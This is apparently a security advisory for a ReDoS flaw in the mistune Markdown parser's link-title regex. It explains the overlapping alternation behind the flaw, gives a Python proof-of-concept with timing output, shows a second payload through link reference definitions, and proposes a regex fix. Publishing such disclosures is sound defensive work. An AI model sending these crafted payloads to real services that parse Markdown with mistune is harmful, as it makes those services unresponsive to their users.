| Package | Affected versions | Patched versions |
|---|---|---|
| mistune | ≥ 3.0.0a1, < 3.2.1 | 3.2.1 |
A ReDoS (Regular Expression Denial of Service) vulnerability in LINK_TITLE_RE allows an attacker who can supply Markdown for parsing to cause denial of service. A crafted 58-byte Markdown document blocks the parser for approximately 6 seconds (measured on Apple M2, Python 3.14.3), with exponential growth per additional byte pair.
The vulnerable regex is defined in src/mistune/helpers.py#L20-L25:
LINK_TITLE_RE = re.compile(
r"[ \t\n]+("
r'"(?:\\' + PUNCTUATION + r'|[^"\x00])*"|' # "title"
r"'(?:\\" + PUNCTUATION + r"|[^'\x00])*'" # 'title'
r")"
)
The double-quote branch compiles to "(?:\\[PUNCTUATION]|[^"\x00])*". The two alternatives inside (A|B)* overlap: a backslash followed by a punctuation character (e.g. \!) can be matched by either branch — as a 2-character escaped-punctuation sequence \\!, or as two individual [^"\x00] characters (\ then !). The same ambiguity exists in the single-quoted title branch.
When the input contains repeated \! pairs with no closing ", the regex engine exhaustively backtracks through all 2^N combinations, resulting in exponential O(2^N) time complexity.
This is reachable through normal Markdown parsing via two code paths:
[text](url "PAYLOAD) → parse_link() → parse_link_title()[label]: url "PAYLOAD → BlockParser.parse_ref_link() → parse_link_title() at block_parser.py#L259Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freeimport mistune
import time
md = mistune.create_markdown()
# Test with increasing N (number of \! pairs)
for n in [15, 18, 20, 22, 25]:
payload = '[x](y "' + '\\!' * n + ')'
start = time.time()
md(payload)
elapsed = time.time() - start
print(f"N={n:2d} len={len(payload):3d} bytes time={elapsed:.3f}s")
Output (Apple M2, Python 3.14.3, mistune 3.2.0):
N=15 len= 38 bytes time=0.007s
N=18 len= 44 bytes time=0.044s
N=20 len= 48 bytes time=0.178s
N=22 len= 52 bytes time=0.740s
N=25 len= 58 bytes time=5.922s
Each increment of N roughly doubles the execution time (consistent with O(2^N)).
The same attack works via block link reference definitions:
payload = '[l]: u "' + '\\!' * 25 # 58 bytes, ~6 seconds
md(payload)
This is a denial of service vulnerability. Any application or service that parses user-supplied Markdown using mistune can be made unresponsive by an attacker submitting a small crafted input (under 100 bytes).
Affected use cases include:
Exclude the backslash character from the catch-all character class to eliminate the alternation overlap:
# Before (vulnerable):
r'"(?:\\' + PUNCTUATION + r'|[^"\x00])*"'
r"'(?:\\" + PUNCTUATION + r"|[^'\x00])*'"
# After (fixed):
r'"(?:\\' + PUNCTUATION + r'|[^"\\\x00])*"'
r"'(?:\\" + PUNCTUATION + r"|[^'\\\x00])*'"
This ensures a backslash can only be consumed by the escaped-punctuation branch, eliminating the ambiguity in both the double-quote and single-quote branches. Verified on mistune 3.2.0 (Apple M2, Python 3.14.3):